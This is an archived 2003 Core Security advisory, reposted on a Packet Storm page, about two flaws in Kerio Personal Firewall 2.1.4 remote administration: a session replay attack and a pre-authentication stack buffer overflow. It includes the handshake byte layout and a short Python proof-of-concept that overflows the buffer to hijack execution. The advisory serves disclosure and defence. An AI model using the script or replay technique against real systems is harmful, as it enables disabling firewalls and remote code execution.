exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

core-kerio.txt

core-kerio.txt
Posted Apr 30, 2003
Authored by Emiliano Kargieman, Hernan Gips, Javier Burroni | Site coresecurity.com

Kerio Personal Firewall version 2.1.4 and below is vulnerable to a replay attack against the authenticated/encrypted channel for remote administration. A remotely exploitable buffer overflow also exists in the authentication process.

tags | advisory, remote, overflow
SHA-256 | 51f426c01a5ad688ec33c74da88fe1f7fc33549a9d8404fc4084179856d88505

core-kerio.txt

Change Mirror Download
                         Core Security Technologies Advisory
http://www.coresecurity.com

Vulnerabilities in Kerio Personal Firewall



Date Published: 2003-04-28

Last Update: 2003-04-28

Advisory ID: CORE-2003-0305-02

Bugtraq ID: 7179, 7180

CVE Name: None currently assigned

Title: Kerio Personal Firewall Replay Attack and Buffer Overflow

Class: Design Error; Boundary Error Condition (Buffer Overflow)

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:
http://www.coresecurity.com/common/showdoc.php?idx=314&idxseccion=10

Vendors contacted:
- Kerio
We sent notifications mails to the following addresses:
security@kerio.com, support@kerio.com, webmaster@kerio.com,
kpf_bugs@kerio.com several times during March and April
(2003-03-11, 2003-03-24, 2003-04-10, 2003-04-24) and never
received an answer from Kerio.

Release Mode: USER RELEASE


*Vulnerability Description:*

Kerio Personal Firewall (KPF) is a firewall for workstations designed
to protect them against attacks from the Internet and the local
network. We found two security vulnerabilities in KPF's remote
administration system:

[BID 7179]
A replay attack is possible against the authenticated/encrypted
channel for remote administration. A design problem in the
authentication mechanism for remote administration allows an attacker
to replay captured packets from a valid remote administration session
in order to reproduce the administrator's directives to the personal
firewall.
For example if the attacker is able to sniff a valid session in which
the administrator disabled the firewall capabilities, then the
attacker will gain the ability to disable the personal firewall at
will at any time in the future.

[BID 7180]
A remotely exploitable buffer overflow exists in the administrator
authentication process.


*Vulnerable Packages:*

Kerio Personal Firewall version 2.1.4 and previous versions.


*Solution/Vendor Information/Workaround:*

Contact the vendor for a fix.
Workaround: disable the remote administration feature.


*Credits:*

These vulnerabilities were found by Emiliano Kargieman, HernĂ¡n Gips
and Javier Burroni from Core Security Technologies during
Bugweek 2003 (March 3-7, 2003).


*Technical Description - Exploit/Concept Code:*

We found two security vulnerabilities in Kerio PF's remote
administration system.

[BID 7179]
A replay attack is possible against the authenticated/encrypted
remote administration channel. As a result of a design problem in the
authentication mechanism for remote administration, it is possible
to replay a previously captured administration session.

If 'S' is the workstation running Kerio personal firewall and 'C' is
the administrator workstation, the following scheme shows the initial
key exchange and authentication packets for a remote administration
session:

S C
<--- connect
---> 10 bytes (0f 00 0a 00 01 00 00 00 02 00)
[*] ---> 128 bytes (the initial 64 bytes are 0 and the last
64 bytes are the 'public' key)
---> 128 bytes (Everything is 0ed except the last 4 bytes
[01 00 01 00])
[0] <--- 4 bytes (00 00 00 40)
[1] <--- 64 bytes (This 64 bytes change from session to session)
[2] <--- 32 bytes (From now on, everything is encrypted and differs
from session to session)
---> 4 bytes ()
[3] <--- 64 bytes (user authentication)
........
........ (The session continues with commands and responses)
........

[*] The last 64 bytes of this packet are read from the file
'persfw.key' on the Kerio installation directory.

It was noted from analyzing these sessions that the first differences
between different sessions come from the administrator's workstation
'C'. This led us to try replaying an administration session as a
whole, with the unexpected result that it was deemed valid by 'S'.
This shows that in fact no randomization or serialization is used on
the 'server' side 'S', and thus there is no way for Kerio to ensure
that the session is new and not a replay of an old one.

As a result, an attacker with access to an encrypted administration
session can record the session and replay it to the server at a later
time to reissue the administration commands to the personal firewall.
The commands replayed can include enabling/disabling the firewall,
adding firewall rules, etc.


[BID 7180]
A remotely exploitable buffer overflow exists in the administrator
authentication process. When Administrator connects to the firewall a
handshake occurs in order to establish an encrypted session. The 4th
packet of the handshake (the first packet sent by the administrator)
is a 4 byte packet data, with a fixed number of 0x40 (64) indicating
the size of the following packet expected to contain the
administrator's key.
No boundary checks exist at the firewall side for processing this
data, and the recv() reads the 4 bytes and then attempts to read the
amount of data indicated by the 4 bytes to a buffer on the stack.
As a result an attacker connecting to the administration port on the
personal firewall can construct a packet sequence that will overflow
the buffer on the stack, allowing her to execute arbitrary code on
the machine running the personal firewall.

It is important to note that these packets are accepted by the
personal firewall before authentication of the administrator takes
place.

The following proof of concept Python script will make the program
jump to address 0x41414141. Note that there is enough space in the
buffer (approx. 1800 bytes) to insert a shell code.

---------------------
import os
import socket
import struct
import string

def g():
fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
fd.connect(('192.168.66.160', 44334))
fd.recv(10)
fd.recv(256)
fd.send(struct.pack('!L', 0x149c))
astr = 'A'*0x149c
fd.send(astr)

except Exception, e:
print e
pass

fd.close()

g()
---------------------



*About Core Security Technologies*

Core Security Technologies develops strategic security solutions for
Fortune 1000 corporations, government agencies and military
organizations. The company offers information security software and
services designed to assess risk and protect and manage information
assets.
Headquartered in Boston, MA, Core Security Technologies can be
reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

To learn more about CORE IMPACT, the first comprehensive penetration
testing framework, visit:
http://www.coresecurity.com/products/coreimpact


*DISCLAIMER:*

The contents of this advisory are copyright (c) 2003 CORE Security
Technologies and may be distributed freely provided that no fee is
charged for this distribution and proper credit is given.

$Id: Kerio-advisory.txt,v 1.6 2003/04/28 14:52:05 carlos Exp $


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close